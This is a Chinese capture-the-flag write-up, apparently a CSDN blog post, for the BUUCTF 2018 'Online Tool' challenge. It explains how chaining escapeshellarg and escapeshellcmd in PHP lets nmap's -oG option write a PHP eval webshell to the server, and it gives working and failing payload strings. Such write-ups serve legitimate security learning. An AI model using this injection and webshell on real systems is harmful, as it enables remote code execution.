[BUUCTF 2018]Online Tool (escapeshellarg和escapeshellcmd双写利用)

[BUUCTF 2018]Online Tool (escapeshellarg和escapeshellcmd双写绕过单引号)

思路

打开页面是一段php代码,开始代码审计:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    //X_Forwarded_For和Remote_Addr没啥问题
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    //百度了一下escapeshellarg和escapeshellcmd双写可以利用单引号的转义绕过限制
    
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    //利用-oG参数,将命令和命令执行结果写入到指定文件中,这里可以指定php文件,上传一句话木马
}

两个函数的功能:

string escapeshellarg ( string $arg )

把字符串转码为可以在 shell 命令里使用的参数
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

string escapeshellcmd ( string $command )

shell 元字符转义
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义;反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF;’ 和 " 仅在不配对儿的时候被转义;在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替

举个栗子:
1、输入:$host=' <?php @eval($_POST["cmd"]);?> -oG attack.php '
2、escapeshellarg(host):$host=''\'' <?php @eval($_POST["hack"]);?> -oG attack.php '\'''
首先会使用转义符\对单引号'进行转义'\'',并在字符串两端加上单引号''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\'''
3、escapeshellcmd(host):$host=''\\'' \<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG attack.php '\\''' 对于上文包含的特殊符前会插入反斜杠进行转义,另外在不成对的单引号和双引号前也会插入反斜杠进行转义,此处单引号均成对儿无需转义。
4、最后\\ 解释为\而非转义符,所以后面的单引号''成了空白连接符,一句话木马中的反斜杠均为转义字符,最后同为非转义字符,形成连接符。简化为:''\'' <?php @eval($_POST["hack"]);?> -oG attack.php '\'''
5、带入到system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php @eval($_POST["hack"]);?> -oG attack.php '\'''
6、利用nmap -oG 参数将命令语句和执行结果存储到attack.php文件中,这样一句话木马就以php文件格式上传到目录上。
7、最后根据回显文件名利用蚁剑完成连接获取flag。

对比:
正确playload:

' <?php @eval($_POST["hack"]);?> -oG hack.php '         
''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\'''
''\\'' <\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php '\\'''   
nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php @eval($_POST["hack"]);?> -oG hack.php '\'''   

错误playload:

<?php @eval($_POST["cmd"]);?> -oG yjh.php
'<?php @eval($_POST["cmd"]);?> -oG yjh.php'
'\<\?php @eval\(\$_POST\["cmd"\]\)\;\?\> -oG yjh.php'
nmap -T5 -sT -Pn --host-timeout 2 -F '<?php @eval($_POST["cmd"]);?> -oG yjh.php'

总结:
1、考察利用escapeshellarg 和escapeshellcmd函数双写绕过'
2、利用nmap -oG 参数将一句话木马上传到站点目录。

参考
[1]: https://paper.seebug.org/164/

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值